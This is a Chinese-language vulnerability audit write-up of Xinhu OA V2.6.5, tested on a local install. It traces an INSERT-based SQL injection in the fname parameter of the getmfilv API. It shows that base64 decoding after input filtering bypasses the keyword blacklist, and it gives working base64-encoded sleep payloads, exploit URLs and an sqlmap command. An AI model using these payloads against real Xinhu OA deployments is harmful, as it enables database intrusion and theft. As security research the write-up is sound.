环境搭建
信呼OA V2.6.5:http://www.rockoa.com/index.php?a=down&id=285
- phpstudy2018
- Apache 2.4.23
- php 5.5.38
- mysql 5.5.53
- 信呼OA V2.6.5
路由审计
分析路由文件可知,页面由m、a、d、ajaxbool控制,m代表php文件名(不带Action),a代表方法名,d代表webmain目录下的子目录,ajaxbool如果为false代表请求Action类型方法,如果为true代表请求Ajax类型方法
http://127.0.0.1/cms/xinhu_v2.6.5/index.php?a=openfile&m=index&d=&ajaxbool=true
代表访问的是入口文件是index.php,目录是webmain/index/indexAction.php
,方法是openfileAjax
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| <?php
if(!isset($ajaxbool)) $ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;
if(!isset($m)) $m = 'index'; if(!isset($a)) $a = 'default'; if(!isset($d)) $d = ''; $m = $rock->get('m', $m); $a = $rock->get('a', $a); $d = $rock->get('d', $d);
define('M', $m); define('A', $a); define('D', $d); define('P', $p);
$_m = $m; if($rock->contain($m, '|')) { $_mas = explode('|', $m); $m = $_mas[0]; $_m = $_mas[1]; }
include_once($rock->strformat('?0/?1/?1Action.php', ROOT_PATH, $p));
$rand = date('YmdHis') . rand(1000, 9999);
if(substr($d, -1) != '/' && $d != '') $d .= '/';
$actpath = $rock->strformat('?0/?1/?2?3', ROOT_PATH, $p, $d, $_m); define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php', $actpath, $m); $actfile1 = $rock->strformat('?0/?1Action.php', $actpath, $_m);
if(file_exists($actfile1)) include_once($actfile1); if(file_exists($actfile)) { include_once($actfile);
$clsname = ''.$m.'ClassAction'; $xhrock = new $clsname();
$actname = ''.$a.'Action'; if($ajaxbool == 'true') $actname = ''.$a.'Ajax';
if(method_exists($xhrock, $actname)) { $xhrock->beforeAction(); $actbstr = $xhrock->$actname();
if(is_string($actbstr)) { echo $actbstr; $xhrock->display = false; } if(is_array($actbstr)) { echo json_encode($actbstr); $xhrock->display = false; } } else { $methodbool = false; if($ajaxbool == 'false') echo ''.$actname.' not found;'; }
$xhrock->afterAction(); } else { echo 'actionfile not exists;'; $xhrock = new Action(); }
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')) { $xhrock->smartydata['p'] = $p; $xhrock->smartydata['a'] = $a; $xhrock->smartydata['m'] = $m; $xhrock->smartydata['d'] = $d; $xhrock->smartydata['rand'] = $rand;
$tplpaths = ''.ROOT_PATH.'/'.$p.'/'.$d.$m.'/'; $tplname = 'tpl_'.$m; if($a != 'default') $tplname .= '_'.$a; $tplname .= '.'.$xhrock->tpldom; $mpathname = $tplpaths.$tplname;
if(!file_exists($mpathname) || !$methodbool) { $errormsg = !$methodbool ? 'in ('.$m.') not found Method('.$a.');' : ''.$tplname.' not exists;'; echo $errormsg; } else { $_showbool = true; } }
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype == 'html' || $ajaxbool == 'false') && $_showbool) { $xhrock->setHtmlData(); $da = $xhrock->smartydata; foreach($xhrock->assigndata as $_k => $_v) $$_k = $_v; include_once($mpathname); } }
|
漏洞审计
- 定位到漏洞文件webmain/task/api/uploadAction.php
跟进getmfilvAction方法
这段代码的核心功能是根据给定的文件ID,读取文件信息并保存为一个新副本,同时将副本的相关信息存储在数据库中以供后续使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public function getmfilvAction() { $fileid = (int)$this->get('fileid', '0'); $frs = m('file')->getone($fileid); if (!$frs) return returnerror('不存在'); $lujing = $frs['filepathout']; if (isempt($lujing)) { $lujing = $frs['filepath']; if (substr($lujing, 0, 4) != 'http' && !file_exists($lujing)) return returnerror('文件不存在了'); } $fileext = $frs['fileext']; $fname = $this->jm->base64decode($this->get('fname')); $fname = (isempt($fname)) ? $frs['filename'] : '' . $fname . '.' . $fileext . ''; $filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.''; $this->rock->createtxt($filepath, file_get_contents($lujing)); $uarr = array( 'filename' => $fname, 'fileext' => $fileext, 'filepath' => $filepath, 'filesize' => filesize($filepath), 'filesizecn' => $this->rock->formatsize(filesize($filepath)), 'optid' => $this->adminid, 'optname' => $this->adminname, 'adddt' => $this->rock->now, 'ip' => $this->rock->ip, 'web' => $this->rock->web, ); $uarr['id'] = m('file')->insert($uarr); return returnsuccess($uarr); }
|
GET方式接收fname参数,然后被封装进入$uarr数组,然后被传入insert方法
- 可以看到这个方法一共有两个可控的参数,fileid,fname,都是GET方式接收的
- fileid参数被强制类型转化为了int,不可能存在注入了
- 只能从fname参数入手
- 跟进fname参数,首先从GET方式接收,用户可控,然后进行base64解码,再赋值给$fname,之后作为文件信息数组元素之一被insert()写入到数据库,此处发生数据库交互
- 本方法未见对fname的明显过滤,过滤逻辑可能在get方法或者insert方法,于是先跟进insert方法
跟进insert方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function insert($arr) { $nid = 0;
if ($this->record($arr, '')) { $nid = $this->db->insert_id(); }
return $nid; }
|
该方法使用 record 方法插入数据,如果成功则获取数据库的插入ID
GET方式接收fname参数,然后被封装进入$uarr数组,然后被传入insert方法,然后被传入到record方法的$arr里
于是继续跟进record方法
跟进record方法
1 2 3 4 5
| public function record($arr, $where = '') { return $this->db->record($this->table, $arr, $where); }
|
跟进到了record方法的业务逻辑层封装,但是看不到具体逻辑代码,于是要根跟进到底层去找,寻找底层数据库操作方法record
Model.php 中的 record 方法实际上是一个高层的封装,它调用了底层 mysql.php 中的 record 方法
跟进到了include/class/mysql.php的record方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public function record($table, $array, $where = '') { $addbool = true; if (!$this->isempt($where)) { $addbool = false; }
$cont = '';
if (is_array($array)) { foreach ($array as $key => $val) { $cont .= ",`$key`=" . $this->toaddval($val) . ""; } $cont = substr($cont, 1); } else { $cont = $array; }
$table = $this->gettables($table);
if ($addbool) { $sql = "insert into $table set $cont"; } else { $where = $this->getwhere($where); $sql = "update $table set $cont where $where"; }
return $this->tranbegin($sql); }
|
GET方式接收fname参数,然后被封装进入$uarr数组,然后被传入insert方法,然后被传入到record方法的$arr里,然后再解析拼接为$cont,然后被拼接到插入操作的sql语句的尾部,被赋值为$sql,然后再传入tranbegin事务执行数据库操作
这段代码,能够执行向数据库插入或更新数据的操作,并自动根据传入的条件构造 SQL 语句。
首先是是对where参数进行非空判断,前面代码是将where
设置为空了,那么$addbool
就是false。
接着就是判断$array
是否为数组,若是数组就进行遍历将每个字段和对应的值拼接到$cont
字符串中并调用toaddval
方法确保传入的字符串被正确地格式化为 SQL 语句中的字符串值
但该方法并没有对sql进行任何过滤
然后调用gettables
设置表名,接着进入else语句
$sql
变量直接将$cont
语句拼接到了sql语句中
该处后端SQL语句是:insert into $table set $cont,注入点就在$cont,可见这里是一个insert类型的注入
还是没有什么过滤逻辑
于是再回过头去跟进一下get方法
跟进get方法
1 2 3 4 5 6
| public function get($na, $dev = '', $lx = 0) { return $this->rock->get($na, $dev, $lx); }
|
还是上面一样的情况,这是业务逻辑层的封装,为了看到具体逻辑,要根据到底层去找get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function get($name, $dev = '', $lx = 0) { $val = $dev; if (isset($_GET[$name])) { $val = $_GET[$name]; } if ($this->isempt($val)) { $val = $dev; } return $this->jmuncode($val, $lx, $name); }
|
这个方法只是判断是否进行了get传参,如果传参成功就进行赋值操作
之后进行非空判断
调用jmucade方法()将其值返回
该方法中还是没有对sql语句进行过滤
可恶过滤逻辑究竟在哪里呢?我们先后跟进了insert、get方法的底层实现都没有找到任何过滤逻辑,其实我们还有一个地方忽略了,就是魔术方法,一些过滤逻辑也常常写在魔术方法里,比如构造方法,__wakeup方法等等
在rockClass.php中我们发现,构造方法被重写了,于是跟进看看
跟进__construct方法
终于被找到了,这里就是过滤的逻辑
当我们创建一个rockClass
对象时,会自动调用这个构造函数
这个魔术方法过滤了大量的sql关键字和关键符号,看上去并不好绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public function __construct() { $this->ip = $this->getclientip(); $this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; if ($this->host && substr($this->host, -3) == ':80') { $this->host = str_replace(':80', '', $this->host); } $this->url = ''; $this->isqywx = false; $this->win = php_uname(); $this->HTTPweb = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $this->web = $this->getbrowser(); $this->unarr = explode(',', '1,2'); $this->now = $this->now(); $this->date = date('Y-m-d'); $this->lvlaras = explode(',', 'select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20'); $this->lvlaraa = explode(',', 'select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*'); $this->lvlarab = array(); foreach ($this->lvlaraa as $_i) { $this->lvlarab[] = ''; } }
|
绕过
可是我们fname在接收时有这么一个操作
有一个自动解码base64的操作,于是我们只需要把sql攻击语句base64编码一下,就能逃过__construct的过滤,并且还能被base64解码正常解析执行
漏洞触发
接下来构造路由触发SQL注入漏洞,由于漏洞文件是:webmain/task/api/uploadAction.php,方法是getmfilvAction,参数是fname
于是入口文件是api.php
a=getmfilv 方法
m=upload|api api是子模块
d=task 这是子目录
fileid=1 这是文件id参数随便填
fname=MScgYW5kIHNsZWVwKDYpIw== 这是构造payload的参数
1
| api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDYpIw==
|
结合前文这里是一个insert类型的注入,注入点在尾部$cont
1
| insert into $table set $cont
|
于是这里只能用盲注的技术去构造攻击了
先时间盲注延时看看能不能成功:
1 2 3 4 5
| 1' and sleep(5)-- +
MScgYW5kIHNsZWVwKDUpLS0gKw==
http://127.0.0.1/cms/xinhu_v2.6.5/api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDUpLS0gKw==
|
延时成功!
还可以使用sqlmap去跑一下看看:
1
| python sqlmap.py -u "http://127.0.0.1/cms/xinhu_v2.6.5/api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=1" -p fname --tamper=base64encode --cookie "你的cookie"
|
时间盲注